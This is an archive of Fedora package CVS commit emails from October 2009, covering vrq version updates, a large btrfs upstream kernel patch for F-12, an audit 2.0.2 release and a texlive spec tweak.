From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Fri, 16 Oct 2009 17:02:24 +0000 (UTC)
Subject: rpms/vrq/devel import.log,1.3,1.4
Message-ID: <20091016170224.9517011C00E5@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31954/devel

Modified Files:
	import.log 
Log Message:
Updated to 1.0.62 package.



Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/devel/import.log,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- import.log	16 Oct 2009 17:00:14 -0000	1.3
+++ import.log	16 Oct 2009 17:02:24 -0000	1.4
@@ -1,3 +1,4 @@
 vrq-1_0_61-1_fc11:HEAD:vrq-1.0.61-1.fc11.src.rpm:1255239101
 vrq-1_0_61-1_fc11:HEAD:vrq-1.0.61-1.fc11.src.rpm:1255239819
 vrq-1_0_62-1_fc11:HEAD:vrq-1.0.62-1.fc11.src.rpm:1255712756
+vrq-1_0_62-1_fc11:HEAD:vrq-1.0.62-1.fc11.src.rpm:1255712917



From josef at fedoraproject.org  Fri Oct 16 17:04:03 2009
From: josef at fedoraproject.org (Josef Bacik)
Date: Fri, 16 Oct 2009 17:04:03 +0000 (UTC)
Subject: rpms/kernel/F-12 linux-2.6-btrfs-upstream.patch, NONE,
	1.1 kernel.spec, 1.1871, 1.1872
Message-ID: <20091016170403.83CBC11C00E5@cvs1.fedora.phx.redhat.com>

Author: josef

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32696

Modified Files:
	kernel.spec 
Added Files:
	linux-2.6-btrfs-upstream.patch 
Log Message:
- bringing btrfs uptodate with upstream


linux-2.6-btrfs-upstream.patch:
 acl.c              |    6 
 async-thread.c     |  329 ++++++-
 async-thread.h     |   18 
 btrfs_inode.h      |   17 
 compression.c      |    8 
 ctree.c            |    6 
 ctree.h            |  112 ++
 dir-item.c         |   47 +
 disk-io.c          |  277 ++++--
 export.c           |  133 ++-
 extent-tree.c      | 2207 ++++++++++++++++++++++++++++-------------------------
 extent_io.c        |  446 ++++++----
 extent_io.h        |   43 -
 extent_map.c       |  103 ++
 extent_map.h       |    5 
 file.c             |  105 +-
 free-space-cache.c |   36 
 inode-item.c       |    4 
 inode-map.c        |   93 --
 inode.c            |  992 ++++++++++++++++++-----
 ioctl.c            |  404 +++++----
 ioctl.h            |    3 
 ordered-data.c     |   39 
 ordered-data.h     |    3 
 orphan.c           |   20 
 relocation.c       |  284 ++++--
 root-tree.c        |  138 ++-
 super.c            |   10 
 transaction.c      |   93 +-
 transaction.h      |    5 
 tree-log.c         |   81 +
 tree-log.h         |    3 
 volumes.c          |  121 +-
 volumes.h          |    3 
 xattr.c            |    2 
 35 files changed, 3992 insertions(+), 2204 deletions(-)

--- NEW FILE linux-2.6-btrfs-upstream.patch ---
diff --git a/fs/btrfs/acl.c b/fs/btrfs/acl.c
index f128427..3616042 100644
--- a/fs/btrfs/acl.c
+++ b/fs/btrfs/acl.c
@@ -27,7 +27,7 @@
 #include "btrfs_inode.h"
 #include "xattr.h"
 
-#ifdef CONFIG_FS_POSIX_ACL
+#ifdef CONFIG_BTRFS_FS_POSIX_ACL
 
 static struct posix_acl *btrfs_get_acl(struct inode *inode, int type)
 {
@@ -313,7 +313,7 @@ struct xattr_handler btrfs_xattr_acl_access_handler = {
 	.set	= btrfs_xattr_acl_access_set,
 };
 
-#else /* CONFIG_FS_POSIX_ACL */
+#else /* CONFIG_BTRFS_FS_POSIX_ACL */
 
 int btrfs_acl_chmod(struct inode *inode)
 {
@@ -325,4 +325,4 @@ int btrfs_init_acl(struct inode *inode, struct inode *dir)
 	return 0;
 }
 
-#endif /* CONFIG_FS_POSIX_ACL */
+#endif /* CONFIG_BTRFS_FS_POSIX_ACL */
diff --git a/fs/btrfs/async-thread.c b/fs/btrfs/async-thread.c
index 019e8af..c0861e7 100644
--- a/fs/btrfs/async-thread.c
+++ b/fs/btrfs/async-thread.c
@@ -48,6 +48,9 @@ struct btrfs_worker_thread {
 	/* number of things on the pending list */
 	atomic_t num_pending;
 
+	/* reference counter for this struct */
+	atomic_t refs;
+
 	unsigned long sequence;
 
 	/* protects the pending list. */
@@ -61,6 +64,51 @@ struct btrfs_worker_thread {
 };
 
 /*
+ * btrfs_start_workers uses kthread_run, which can block waiting for memory
+ * for a very long time.  It will actually throttle on page writeback,
+ * and so it may not make progress until after our btrfs worker threads
+ * process all of the pending work structs in their queue
+ *
+ * This means we can't use btrfs_start_workers from inside a btrfs worker
+ * thread that is used as part of cleaning dirty memory, which pretty much
+ * involves all of the worker threads.
+ *
+ * Instead we have a helper queue who never has more than one thread
+ * where we scheduler thread start operations.  This worker_start struct
+ * is used to contain the work and hold a pointer to the queue that needs
+ * another worker.
+ */
+struct worker_start {
+	struct btrfs_work work;
+	struct btrfs_workers *queue;
+};
+
+static void start_new_worker_func(struct btrfs_work *work)
+{
+	struct worker_start *start;
+	start = container_of(work, struct worker_start, work);
+	btrfs_start_workers(start->queue, 1);
+	kfree(start);
+}
+
+static int start_new_worker(struct btrfs_workers *queue)
+{
+	struct worker_start *start;
+	int ret;
+
+	start = kzalloc(sizeof(*start), GFP_NOFS);
+	if (!start)
+		return -ENOMEM;
+
+	start->work.func = start_new_worker_func;
+	start->queue = queue;
+	ret = btrfs_queue_worker(queue->atomic_worker_start, &start->work);
+	if (ret)
+		kfree(start);
+	return ret;
+}
+
+/*
  * helper function to move a thread onto the idle list after it
  * has finished some requests.
  */
@@ -71,7 +119,12 @@ static void check_idle_worker(struct btrfs_worker_thread *worker)
 		unsigned long flags;
 		spin_lock_irqsave(&worker->workers->lock, flags);
 		worker->idle = 1;
-		list_move(&worker->worker_list, &worker->workers->idle_list);
+
+		/* the list may be empty if the worker is just starting */
+		if (!list_empty(&worker->worker_list)) {
+			list_move(&worker->worker_list,
+				 &worker->workers->idle_list);
+		}
 		spin_unlock_irqrestore(&worker->workers->lock, flags);
 	}
 }
@@ -87,23 +140,51 @@ static void check_busy_worker(struct btrfs_worker_thread *worker)
 		unsigned long flags;
 		spin_lock_irqsave(&worker->workers->lock, flags);
 		worker->idle = 0;
-		list_move_tail(&worker->worker_list,
-			       &worker->workers->worker_list);
+
+		if (!list_empty(&worker->worker_list)) {
+			list_move_tail(&worker->worker_list,
+				      &worker->workers->worker_list);
+		}
 		spin_unlock_irqrestore(&worker->workers->lock, flags);
 	}
 }
 
-static noinline int run_ordered_completions(struct btrfs_workers *workers,
-					    struct btrfs_work *work)
+static void check_pending_worker_creates(struct btrfs_worker_thread *worker)
 {
+	struct btrfs_workers *workers = worker->workers;
 	unsigned long flags;
 
+	rmb();
+	if (!workers->atomic_start_pending)
+		return;
+
+	spin_lock_irqsave(&workers->lock, flags);
+	if (!workers->atomic_start_pending)
+		goto out;
+
+	workers->atomic_start_pending = 0;
+	if (workers->num_workers + workers->num_workers_starting >=
+	    workers->max_workers)
+		goto out;
+
+	workers->num_workers_starting += 1;
+	spin_unlock_irqrestore(&workers->lock, flags);
+	start_new_worker(workers);
+	return;
+
+out:
+	spin_unlock_irqrestore(&workers->lock, flags);
+}
+
+static noinline int run_ordered_completions(struct btrfs_workers *workers,
+					    struct btrfs_work *work)
+{
 	if (!workers->ordered)
 		return 0;
 
 	set_bit(WORK_DONE_BIT, &work->flags);
 
-	spin_lock_irqsave(&workers->lock, flags);
+	spin_lock(&workers->order_lock);
 
 	while (1) {
 		if (!list_empty(&workers->prio_order_list)) {
@@ -126,45 +207,118 @@ static noinline int run_ordered_completions(struct btrfs_workers *workers,
 		if (test_and_set_bit(WORK_ORDER_DONE_BIT, &work->flags))
 			break;
 
-		spin_unlock_irqrestore(&workers->lock, flags);
+		spin_unlock(&workers->order_lock);
 
 		work->ordered_func(work);
 
 		/* now take the lock again and call the freeing code */
-		spin_lock_irqsave(&workers->lock, flags);
+		spin_lock(&workers->order_lock);
 		list_del(&work->order_list);
 		work->ordered_free(work);
 	}
 
-	spin_unlock_irqrestore(&workers->lock, flags);
+	spin_unlock(&workers->order_lock);
 	return 0;
 }
 
+static void put_worker(struct btrfs_worker_thread *worker)
+{
+	if (atomic_dec_and_test(&worker->refs))
+		kfree(worker);
+}
+
+static int try_worker_shutdown(struct btrfs_worker_thread *worker)
+{
+	int freeit = 0;
+
+	spin_lock_irq(&worker->lock);
+	spin_lock(&worker->workers->lock);
+	if (worker->workers->num_workers > 1 &&
[...10430 lines suppressed...]
 
-	trans = btrfs_start_transaction(root, 1);
-	if (!trans) {
-		ret = -ENOMEM;
-		goto done;
-	}
-
 	path->reada = 2;
 
 	lock_chunks(root);
@@ -2001,8 +2019,8 @@ int btrfs_shrink_device(struct btrfs_device *device, u64 new_size)
 	if (device->writeable)
 		device->fs_devices->total_rw_bytes -= diff;
 	unlock_chunks(root);
-	btrfs_end_transaction(trans, root);
 
+again:
 	key.objectid = device->devid;
 	key.offset = (u64)-1;
 	key.type = BTRFS_DEV_EXTENT_KEY;
@@ -2017,6 +2035,7 @@ int btrfs_shrink_device(struct btrfs_device *device, u64 new_size)
 			goto done;
 		if (ret) {
 			ret = 0;
+			btrfs_release_path(root, path);
 			break;
 		}
 
@@ -2024,14 +2043,18 @@ int btrfs_shrink_device(struct btrfs_device *device, u64 new_size)
 		slot = path->slots[0];
 		btrfs_item_key_to_cpu(l, &key, path->slots[0]);
 
-		if (key.objectid != device->devid)
+		if (key.objectid != device->devid) {
+			btrfs_release_path(root, path);
 			break;
+		}
 
 		dev_extent = btrfs_item_ptr(l, slot, struct btrfs_dev_extent);
 		length = btrfs_dev_extent_length(l, dev_extent);
 
-		if (key.offset + length <= new_size)
+		if (key.offset + length <= new_size) {
+			btrfs_release_path(root, path);
 			break;
+		}
 
 		chunk_tree = btrfs_dev_extent_chunk_tree(l, dev_extent);
 		chunk_objectid = btrfs_dev_extent_chunk_objectid(l, dev_extent);
@@ -2040,8 +2063,26 @@ int btrfs_shrink_device(struct btrfs_device *device, u64 new_size)
 
 		ret = btrfs_relocate_chunk(root, chunk_tree, chunk_objectid,
 					   chunk_offset);
-		if (ret)
+		if (ret && ret != -ENOSPC)
 			goto done;
+		if (ret == -ENOSPC)
+			failed++;
+		key.offset -= 1;
+	}
+
+	if (failed && !retried) {
+		failed = 0;
+		retried = true;
+		goto again;
+	} else if (failed && retried) {
+		ret = -ENOSPC;
+		lock_chunks(root);
+
+		device->total_bytes = old_size;
+		if (device->writeable)
+			device->fs_devices->total_rw_bytes += diff;
+		unlock_chunks(root);
+		goto done;
 	}
 
 	/* Shrinking succeeded, else we would be at "done". */
@@ -2294,9 +2335,9 @@ again:
 	em->block_len = em->len;
 
 	em_tree = &extent_root->fs_info->mapping_tree.map_tree;
-	spin_lock(&em_tree->lock);
+	write_lock(&em_tree->lock);
 	ret = add_extent_mapping(em_tree, em);
-	spin_unlock(&em_tree->lock);
+	write_unlock(&em_tree->lock);
 	BUG_ON(ret);
 	free_extent_map(em);
 
@@ -2491,9 +2532,9 @@ int btrfs_chunk_readonly(struct btrfs_root *root, u64 chunk_offset)
 	int readonly = 0;
 	int i;
 
-	spin_lock(&map_tree->map_tree.lock);
+	read_lock(&map_tree->map_tree.lock);
 	em = lookup_extent_mapping(&map_tree->map_tree, chunk_offset, 1);
-	spin_unlock(&map_tree->map_tree.lock);
+	read_unlock(&map_tree->map_tree.lock);
 	if (!em)
 		return 1;
 
@@ -2518,11 +2559,11 @@ void btrfs_mapping_tree_free(struct btrfs_mapping_tree *tree)
 	struct extent_map *em;
 
 	while (1) {
-		spin_lock(&tree->map_tree.lock);
+		write_lock(&tree->map_tree.lock);
 		em = lookup_extent_mapping(&tree->map_tree, 0, (u64)-1);
 		if (em)
 			remove_extent_mapping(&tree->map_tree, em);
-		spin_unlock(&tree->map_tree.lock);
+		write_unlock(&tree->map_tree.lock);
 		if (!em)
 			break;
 		kfree(em->bdev);
@@ -2540,9 +2581,9 @@ int btrfs_num_copies(struct btrfs_mapping_tree *map_tree, u64 logical, u64 len)
 	struct extent_map_tree *em_tree = &map_tree->map_tree;
 	int ret;
 
-	spin_lock(&em_tree->lock);
+	read_lock(&em_tree->lock);
 	em = lookup_extent_mapping(em_tree, logical, len);
-	spin_unlock(&em_tree->lock);
+	read_unlock(&em_tree->lock);
 	BUG_ON(!em);
 
 	BUG_ON(em->start > logical || em->start + em->len < logical);
@@ -2604,9 +2645,9 @@ again:
 		atomic_set(&multi->error, 0);
 	}
 
-	spin_lock(&em_tree->lock);
+	read_lock(&em_tree->lock);
 	em = lookup_extent_mapping(em_tree, logical, *length);
-	spin_unlock(&em_tree->lock);
+	read_unlock(&em_tree->lock);
 
 	if (!em && unplug_page)
 		return 0;
@@ -2763,9 +2804,9 @@ int btrfs_rmap_block(struct btrfs_mapping_tree *map_tree,
 	u64 stripe_nr;
 	int i, j, nr = 0;
 
-	spin_lock(&em_tree->lock);
+	read_lock(&em_tree->lock);
 	em = lookup_extent_mapping(em_tree, chunk_start, 1);
-	spin_unlock(&em_tree->lock);
+	read_unlock(&em_tree->lock);
 
 	BUG_ON(!em || em->start != chunk_start);
 	map = (struct map_lookup *)em->bdev;
@@ -3053,9 +3094,9 @@ static int read_one_chunk(struct btrfs_root *root, struct btrfs_key *key,
 	logical = key->offset;
 	length = btrfs_chunk_length(leaf, chunk);
 
-	spin_lock(&map_tree->map_tree.lock);
+	read_lock(&map_tree->map_tree.lock);
 	em = lookup_extent_mapping(&map_tree->map_tree, logical, 1);
-	spin_unlock(&map_tree->map_tree.lock);
+	read_unlock(&map_tree->map_tree.lock);
 
 	/* already mapped? */
 	if (em && em->start <= logical && em->start + em->len > logical) {
@@ -3114,9 +3155,9 @@ static int read_one_chunk(struct btrfs_root *root, struct btrfs_key *key,
 		map->stripes[i].dev->in_fs_metadata = 1;
 	}
 
-	spin_lock(&map_tree->map_tree.lock);
+	write_lock(&map_tree->map_tree.lock);
 	ret = add_extent_mapping(&map_tree->map_tree, em);
-	spin_unlock(&map_tree->map_tree.lock);
+	write_unlock(&map_tree->map_tree.lock);
 	BUG_ON(ret);
 	free_extent_map(em);
 
diff --git a/fs/btrfs/volumes.h b/fs/btrfs/volumes.h
index 5139a83..31b0fab 100644
--- a/fs/btrfs/volumes.h
+++ b/fs/btrfs/volumes.h
@@ -181,4 +181,7 @@ int btrfs_balance(struct btrfs_root *dev_root);
 void btrfs_unlock_volumes(void);
 void btrfs_lock_volumes(void);
 int btrfs_chunk_readonly(struct btrfs_root *root, u64 chunk_offset);
+int find_free_dev_extent(struct btrfs_trans_handle *trans,
+			 struct btrfs_device *device, u64 num_bytes,
+			 u64 *start, u64 *max_avail);
 #endif
diff --git a/fs/btrfs/xattr.c b/fs/btrfs/xattr.c
index a9d3bf4..b6dd596 100644
--- a/fs/btrfs/xattr.c
+++ b/fs/btrfs/xattr.c
@@ -260,7 +260,7 @@ err:
  * attributes are handled directly.
  */
 struct xattr_handler *btrfs_xattr_handlers[] = {
-#ifdef CONFIG_FS_POSIX_ACL
+#ifdef CONFIG_BTRFS_FS_POSIX_ACL
 	&btrfs_xattr_acl_access_handler,
 	&btrfs_xattr_acl_default_handler,
 #endif


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1871
retrieving revision 1.1872
diff -u -p -r1.1871 -r1.1872
--- kernel.spec	16 Oct 2009 10:14:41 -0000	1.1871
+++ kernel.spec	16 Oct 2009 17:04:02 -0000	1.1872
@@ -717,6 +717,9 @@ Patch2904: v4l-dvb-fix-cx25840-firmware-
 
 # fs fixes
 
+#btrfs
+Patch3000: linux-2.6-btrfs-upstream.patch
+
 # NFSv4
 Patch3050: linux-2.6-nfsd4-proots.patch
 Patch3060: linux-2.6-nfs4-ver4opt.patch
@@ -1226,6 +1229,7 @@ ApplyPatch linux-2.6-execshield.patch
 # xfs
 
 # btrfs
+ApplyPatch linux-2.6-btrfs-upstream.patch
 
 # eCryptfs
 
@@ -2063,6 +2067,9 @@ fi
 # and build.
 
 %changelog
+* Fri Oct 16 2009 Josef Bacik <josef at toxicpanda.com>
+- Update btrfs to latest upstream
+
 * Fri Oct 16 2009 Chuck Ebbert <cebbert at redhat.com> 2.6.31.4-85
 - Fix another ACPI boot hang (#513680)
 



From shakthimaan at fedoraproject.org  Fri Oct 16 17:04:18 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Fri, 16 Oct 2009 17:04:18 +0000 (UTC)
Subject: rpms/vrq/EL-5 .cvsignore, 1.3, 1.4 import.log, 1.2, 1.3 sources, 1.3,
	1.4 vrq.spec, 1.2, 1.3
Message-ID: <20091016170418.0057B11C00E5@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv310/EL-5

Modified Files:
	.cvsignore import.log sources vrq.spec 
Log Message:
Updated to 1.0.62 package.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/EL-5/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	11 Oct 2009 05:32:27 -0000	1.3
+++ .cvsignore	16 Oct 2009 17:04:17 -0000	1.4
@@ -1 +1 @@
-vrq-1.0.61.tar.gz
+vrq-1.0.62.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/EL-5/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	11 Oct 2009 05:32:27 -0000	1.2
+++ import.log	16 Oct 2009 17:04:17 -0000	1.3
@@ -1,2 +1,3 @@
 vrq-1_0_58-3_fc11:EL-5:vrq-1.0.58-3.fc11.src.rpm:1252940578
 vrq-1_0_61-1_fc11:EL-5:vrq-1.0.61-1.fc11.src.rpm:1255239529
+vrq-1_0_62-1_fc11:EL-5:vrq-1.0.62-1.fc11.src.rpm:1255713045


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/EL-5/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	11 Oct 2009 05:32:27 -0000	1.3
+++ sources	16 Oct 2009 17:04:17 -0000	1.4
@@ -1 +1 @@
-48c7cc3bae486878b2f6e2fe353fc6c5  vrq-1.0.61.tar.gz
+5615c019e54dc5b62f040d1d95adaa51  vrq-1.0.62.tar.gz


Index: vrq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/EL-5/vrq.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- vrq.spec	11 Oct 2009 05:32:27 -0000	1.2
+++ vrq.spec	16 Oct 2009 17:04:17 -0000	1.3
@@ -1,5 +1,5 @@
 Name:           vrq
-Version:        1.0.61
+Version:        1.0.62
 Release:        1%{?dist}
 Summary:        Verilog tool framework with plugins for manipulating source code
 
@@ -69,8 +69,11 @@ to develop backend plugin customization 
 %{_includedir}/%{name}-%{version}
 
 %changelog
+* Thu Oct 15 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.62-1
+- Updated to upstream package 1.0.62
+
 * Sat Oct 10 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.61-1
-- Updated to upstream packae 1.0.61
+- Updated to upstream package 1.0.61
 
 * Sun Sep 13 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.58-3
 - Removed ldconfig for post and postun as shared library not in /usr/lib



From sgrubb at fedoraproject.org  Fri Oct 16 17:04:23 2009
From: sgrubb at fedoraproject.org (Steve Grubb)
Date: Fri, 16 Oct 2009 17:04:23 +0000 (UTC)
Subject: rpms/audit/F-12 .cvsignore, 1.105, 1.106 audit.spec, 1.220,
	1.221 sources, 1.130, 1.131
Message-ID: <20091016170423.A737211C00E5@cvs1.fedora.phx.redhat.com>

Author: sgrubb

Update of /cvs/pkgs/rpms/audit/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv593

Modified Files:
	.cvsignore audit.spec sources 
Log Message:
* Fri Oct 16 2009 Steve Grubb <sgrubb at redhat.com> 2.0.2-1
- New upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/audit/F-12/.cvsignore,v
retrieving revision 1.105
retrieving revision 1.106
diff -u -p -r1.105 -r1.106
--- .cvsignore	28 Sep 2009 19:55:04 -0000	1.105
+++ .cvsignore	16 Oct 2009 17:04:23 -0000	1.106
@@ -102,3 +102,4 @@ audit-1.7.13.tar.gz
 audit-2.0.tar.gz
 audit-1.8.tar.gz
 audit-2.0.1.tar.gz
+audit-2.0.2.tar.gz


Index: audit.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audit/F-12/audit.spec,v
retrieving revision 1.220
retrieving revision 1.221
diff -u -p -r1.220 -r1.221
--- audit.spec	28 Sep 2009 19:55:04 -0000	1.220
+++ audit.spec	16 Oct 2009 17:04:23 -0000	1.221
@@ -2,7 +2,7 @@
 
 Summary: User space tools for 2.6 kernel auditing
 Name: audit
-Version: 2.0.1
+Version: 2.0.2
 Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Daemons
@@ -109,6 +109,7 @@ rm -f $RPM_BUILD_ROOT/%{_libdir}/python?
 
 # On platforms with 32 & 64 bit libs, we need to coordinate the timestamp
 touch -r ./audit.spec $RPM_BUILD_ROOT/etc/libaudit.conf
+touch -r ./audit.spec $RPM_BUILD_ROOT/usr/share/man/man5/libaudit.conf.5.gz
 
 %ifnarch ppc ppc64
 %check
@@ -217,6 +218,9 @@ fi
 %attr(644,root,root) %{_mandir}/man8/audisp-remote.8.gz
 
 %changelog
+* Fri Oct 16 2009 Steve Grubb <sgrubb at redhat.com> 2.0.2-1
+- New upstream release
+
 * Mon Sep 28 2009 Steve Grubb <sgrubb at redhat.com> 2.0.1-1
 - New upstream release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/audit/F-12/sources,v
retrieving revision 1.130
retrieving revision 1.131
diff -u -p -r1.130 -r1.131
--- sources	28 Sep 2009 19:55:04 -0000	1.130
+++ sources	16 Oct 2009 17:04:23 -0000	1.131
@@ -1 +1 @@
-5624f99dc1ce3a62b5e7622f98747ada  audit-2.0.1.tar.gz
+e4b930141ec6cc267f0911b3c82ea987  audit-2.0.2.tar.gz



From jnovy at fedoraproject.org  Fri Oct 16 17:04:25 2009
From: jnovy at fedoraproject.org (Jindrich Novy)
Date: Fri, 16 Oct 2009 17:04:25 +0000 (UTC)
Subject: rpms/texlive/devel texlive.spec,1.55,1.56
Message-ID: <20091016170425.3910411C00E5@cvs1.fedora.phx.redhat.com>

Author: jnovy

Update of /cvs/pkgs/rpms/texlive/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv610

Modified Files:
	texlive.spec 
Log Message:
- don't complain if the pdvipsk hunks touching config.ps don't apply



Index: texlive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/texlive/devel/texlive.spec,v
retrieving revision 1.55
retrieving revision 1.56
diff -u -p -r1.55 -r1.56
--- texlive.spec	16 Oct 2009 05:36:21 -0000	1.55
+++ texlive.spec	16 Oct 2009 17:04:24 -0000	1.56
@@ -125,7 +125,6 @@ Patch1004:	texlive-2007-jp-platex209.pat
 Patch1005:	texlive-2007-pdvips.patch
 Patch1006:	texlive-2007-ptex-3.1.10.patch
 Patch1007:	texlive-2007-fmtutil-ptex.patch
-Patch1008:	texlive-poolfix.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -459,15 +458,13 @@ cp -lR texk/dvipsk texk/pdvipsk
 cd pdvipsk
 %patch1005 -p0
 cd -
-patch -d texk/pdvipsk -p1 < pdvipsk/dvipsk-%{pdvipsk_ver}.patch
+patch -d texk/pdvipsk -p1 < pdvipsk/dvipsk-%{pdvipsk_ver}.patch || :
 %patch1000 -p1 -b .pdvips
 ln -s dvips.1 texk/pdvipsk/pdvips.1
 
 # set up mendexk
 tar xfz %{SOURCE1002} -C texk
 
-%patch1008 -p1 -b .poolfix
-
 %build
 set -x
 # define CCACHE_DIR to let the build pass with ccache enabled.
@@ -1246,6 +1243,7 @@ fi
 - fix dvips configuration (#467542)
 - update kpathsea description and summary (#519257)
 - use upstream patch to fix pool overflow CVE-2009-1284 (#492136)
+- don't complain if the pdvipsk hunks touching config.ps don't apply
 
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2007-44
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild



From shakthimaan at fedoraproject.org  Fri Oct 16 17:05:47 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Fri, 16 Oct 2009 17:05:47 +0000 (UTC)
Subject: rpms/vrq/F-10 .cvsignore, 1.3, 1.4 import.log, 1.2, 1.3 sources, 1.3,
	1.4 vrq.spec, 1.2, 1.3
Message-ID: <20091016170547.DA7DB11C00E5@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1138/F-10

Modified Files:
	.cvsignore import.log sources vrq.spec 
Log Message:
Updated to 1.0.62 package.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-10/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	11 Oct 2009 05:33:43 -0000	1.3
+++ .cvsignore	16 Oct 2009 17:05:47 -0000	1.4
@@ -1 +1 @@
-vrq-1.0.61.tar.gz
+vrq-1.0.62.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-10/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	11 Oct 2009 05:33:43 -0000	1.2
+++ import.log	16 Oct 2009 17:05:47 -0000	1.3
@@ -1,2 +1,3 @@
 vrq-1_0_58-3_fc11:F-10:vrq-1.0.58-3.fc11.src.rpm:1252940282
 vrq-1_0_61-1_fc11:F-10:vrq-1.0.61-1.fc11.src.rpm:1255239629
+vrq-1_0_62-1_fc11:F-10:vrq-1.0.62-1.fc11.src.rpm:1255713158


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-10/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	11 Oct 2009 05:33:43 -0000	1.3
+++ sources	16 Oct 2009 17:05:47 -0000	1.4
@@ -1 +1 @@
-48c7cc3bae486878b2f6e2fe353fc6c5  vrq-1.0.61.tar.gz
+5615c019e54dc5b62f040d1d95adaa51  vrq-1.0.62.tar.gz


Index: vrq.spec
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-10/vrq.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- vrq.spec	11 Oct 2009 05:33:43 -0000	1.2
+++ vrq.spec	16 Oct 2009 17:05:47 -0000	1.3
@@ -1,5 +1,5 @@
 Name:           vrq
-Version:        1.0.61
+Version:        1.0.62
 Release:        1%{?dist}
 Summary:        Verilog tool framework with plugins for manipulating source code
 
@@ -69,8 +69,11 @@ to develop backend plugin customization 
 %{_includedir}/%{name}-%{version}
 
 %changelog
+* Thu Oct 15 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.62-1
+- Updated to upstream package 1.0.62
+
 * Sat Oct 10 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.61-1
-- Updated to upstream packae 1.0.61
+- Updated to upstream package 1.0.61
 
 * Sun Sep 13 2009 Shakthi Kannan <shakthimaan [AT] gmail DOT com> - 1.0.58-3
 - Removed ldconfig for post and postun as shared library not in /usr/lib



From shakthimaan at fedoraproject.org  Fri Oct 16 17:06:57 2009
From: shakthimaan at fedoraproject.org (Shakthi Kannan)
Date: Fri, 16 Oct 2009 17:06:57 +0000 (UTC)
Subject: rpms/vrq/F-11 .cvsignore, 1.3, 1.4 import.log, 1.2, 1.3 sources, 1.3,
	1.4 vrq.spec, 1.2, 1.3
Message-ID: <20091016170657.0C57211C00E5@cvs1.fedora.phx.redhat.com>

Author: shakthimaan

Update of /cvs/pkgs/rpms/vrq/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1510/F-11

Modified Files:
	.cvsignore import.log sources vrq.spec 
Log Message:
Updated to 1.0.62 package.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-11/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	11 Oct 2009 05:34:41 -0000	1.3
+++ .cvsignore	16 Oct 2009 17:06:56 -0000	1.4
@@ -1 +1 @@
-vrq-1.0.61.tar.gz
+vrq-1.0.62.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-11/import.log,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- import.log	11 Oct 2009 05:34:41 -0000	1.2
+++ import.log	16 Oct 2009 17:06:56 -0000	1.3
@@ -1,2 +1,3 @@
 vrq-1_0_58-3_fc11:F-11:vrq-1.0.58-3.fc11.src.rpm:1252940486
 vrq-1_0_61-1_fc11:F-11:vrq-1.0.61-1.fc11.src.rpm:1255239689
+vrq-1_0_62-1_fc11:F-11:vrq-1.0.62-1.fc11.src.rpm:1255713227


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/vrq/F-11/sources,v
retrieving revision 1.3
retrieving revision 1.4
